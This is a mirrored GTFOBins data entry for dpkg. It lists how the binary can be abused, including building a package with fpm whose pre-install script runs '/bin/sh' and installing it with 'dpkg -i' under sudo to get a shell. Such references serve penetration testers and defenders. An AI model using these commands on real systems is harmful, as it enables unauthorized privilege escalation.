1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/dpkg
2026-01-09 19:34:46 +01:00

24 lines
446 B
Plaintext

---
functions:
inherit:
- code: |-
dpkg -l
contexts:
sudo:
suid:
unprivileged:
from: less
shell:
- code: |-
dpkg -i x_1.0_all.deb
comment: |-
Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo 'exec /bin/sh' >x.sh
fpm -n x -s dir -t deb -a all --before-install x.sh .
```
contexts:
sudo:
...